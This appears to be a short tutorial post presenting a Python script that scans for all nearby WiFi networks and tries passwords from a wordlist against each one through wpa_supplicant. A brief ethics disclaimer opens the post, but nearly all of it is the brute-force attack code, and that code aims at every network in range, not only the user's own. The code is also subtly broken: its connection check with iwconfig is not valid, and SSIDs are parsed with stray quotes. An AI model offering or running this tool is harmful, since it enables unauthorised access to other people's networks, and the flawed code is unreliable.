How To Build WiFi cracker tool With Python

How To Build WiFi cracker tool With Python

Note: Before we dive into creating a WiFi cracker tool, I want to emphasize that attempting to connect to a WiFi network without permission is illegal and unethical. This tool should only be used for educational purposes or to test your own network's security with permission from the network owner.

That being said, here's a Python script that uses a passlist.txt file to attempt connecting to a WiFi network:

import os
import subprocess
import time

# Set the WiFi interface (e.g., wlan0, wlp3s0, etc.)
WIFI_INTERFACE = "wlan0"

# Set the path to the passlist.txt file
PASSLIST_FILE = "passlist.txt"

# Set the timeout for each connection attempt (in seconds)
TIMEOUT = 5

def connect_to_wifi(ssid, password):
    # Create a temporary wpa_supplicant.conf file
    with open("wpa_supplicant.conf", "w") as f:
        f.write(f"ctrl_interface=/var/run/wpa_supplicant\n")
        f.write(f"network={{\n")
        f.write(f"  ssid=\"{ssid}\"\n")
        f.write(f"  psk=\"{password}\"\n")
        f.write(f"}}\n")

    # Run wpa_supplicant to connect to the WiFi network
    subprocess.run(["wpa_supplicant", "-B", "-i", WIFI_INTERFACE, "-c", "wpa_supplicant.conf"])

    # Wait for the connection to establish
    time.sleep(TIMEOUT)

    # Check if the connection was successful
    if subprocess.run(["iwconfig", WIFI_INTERFACE, "link"]).returncode == 0:
        print(f"Connected to {ssid} with password {password}!")
        return True
    else:
        print(f"Failed to connect to {ssid} with password {password}.")
        return False

def main():
    # Read the passlist.txt file
    with open(PASSLIST_FILE, "r") as f:
        passlist = [line.strip() for line in f.readlines()]

    # Get the list of available WiFi networks
    networks = subprocess.run(["iwlist", WIFI_INTERFACE, "scan"], capture_output=True).stdout.decode("utf-8").split("\n")

    # Extract the SSIDs from the network list
    ssids = [line.split(":")[1].strip() for line in networks if "ESSID" in line]

    # Attempt to connect to each network using the passlist
    for ssid in ssids:
        for password in passlist:
            if connect_to_wifi(ssid, password):
                break

if __name__ == "__main__":
    main()